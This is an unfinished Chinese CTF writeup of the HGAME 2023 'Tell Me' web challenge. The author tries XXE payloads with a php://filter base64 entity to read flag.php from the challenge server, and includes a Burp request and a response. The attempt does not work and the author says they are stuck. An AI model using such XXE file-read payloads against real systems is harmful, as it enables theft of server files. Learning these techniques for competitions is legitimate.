

# HGAME 2023 Week4 writeup by D3ic1de

---

HGAME 2023 Week4 writeup by D3ic1de

Web

Tell Me

## Web

---

### Tell Me

题目没给啥提示，F12看下源码，发现有hint: ./www.zip，这个是可以直接访问的，下载下来，是页面的源码，同时在这个页面后有一个flag.php，那就很明显了需要去访问这个flag.php，然后看看源码，去搜了些文章，可以知道考的是XXE，去看了几篇关于XXE的文章知道既然要访问的是PHP格式的文件，那就需要使用PHP协议包装器，下面是我的payload和控制台输出的数据，还不太行，不知道为什么。

1

1

```
1</content></user><!DOCTYPE foo
[<!ENTITY ac SYSTEM "php://filter
/read=convert.base64-encode/resource=http:
//week-4.hgame.lwsec.cn:31392/flag.php">]>
<foo><result>&ac;</result></foo><user>
<content>
```

SEND

```
<br /> <b>Warning</b>: DOMDocument::loadXML(): Extra content
at the end of the document in Entity, line: 1 in <b>/var/www/html
/send.php</b> on line <b>10</b><br /> <br /> <b>Warning</b>:
simplexml_import_dom(): Invalid Nodetype to import in <b>/var
/www/html/send.php</b> on line <b>16</b><br />
name,email,content cannot be empty
```

1

1

```
1</content></user><!DOCTYPE foo [<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://week-4.hgame.lwsec.cn:31392/flag.php">]><foo><result>&
ac;</result></foo><user><content>
<user><name>1</name><email>1</email><content>1</content></user><!DOCTYPE foo [<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://week-
4.hgame.lwsec.cn:31392/flag.php">]><foo><result>&ac;</result></foo><user><content></content></user>
POST http://week-4.hgame.lwsec.cn:31392/send.php
```

然后我就尝试bp抓包然后修改post的内容，

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	
<pre> 1 Accept-Language: 2 zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5, 3 en-US;q=0.3,en;q=0.2 4 Accept-Encoding: gzip, deflate 5 Content-Type: 6 application/xml;charset=utf-8 7 X-Requested-With: XMLHttpRequest 8 Content-Length: 250 9 Origin: 10 http://week-4.hgame.lwsec.cn:31922 11 Connection: close 12 Referer: 13 http://week-4.hgame.lwsec.cn:31922/ 14 Cookie: _ga_P1E9Z5LRPK= 15 GS1.1.1674573600.15.1.1674573660.0.0.0; 16 _ga=GA1.1.1450072175.1673530555 17 18 &lt;!DOCTYPE foo [&lt;!ENTITY ac SYSTEM 19 "php://filter/read=convert.base64-encod 20 e/resource=http://week-4.hgame.lwsec.cn 21 :31922/flag.php"&gt;]&gt; 22 &lt;foo&gt; 23 &lt;name&gt; 24 &amp;ac; 25 &lt;/name&gt; 26 &lt;email&gt; 27 &amp;ac; 28 &lt;/email&gt; 29 &lt;content&gt; 30 &amp;ac; 31 &lt;/content&gt; 32 &lt;result&gt; 33 &amp;ac; 34 &lt;/result&gt; 35 &lt;/foo&gt; </pre>				<pre> 1 HTTP/1.1 200 OK 2 Date: Sun, 05 Feb 2023 08:28:34 GMT 3 Server: Apache/2.4.51 (Debian) 4 X-Powered-By: PHP/7.4.27 5 Content-Length: 28 6 Connection: close 7 Content-Type: text/html; charset=UTF-8 8 9 Success! I will see it later </pre>			

这个response有点怪，我的result去哪了。。。另外如果没有name,email,content中的任意一个标签都会给你name,email,content cannot be empty。

思路到这就断了，之后又去看了一些文章，还是不清楚哪里有问题。

###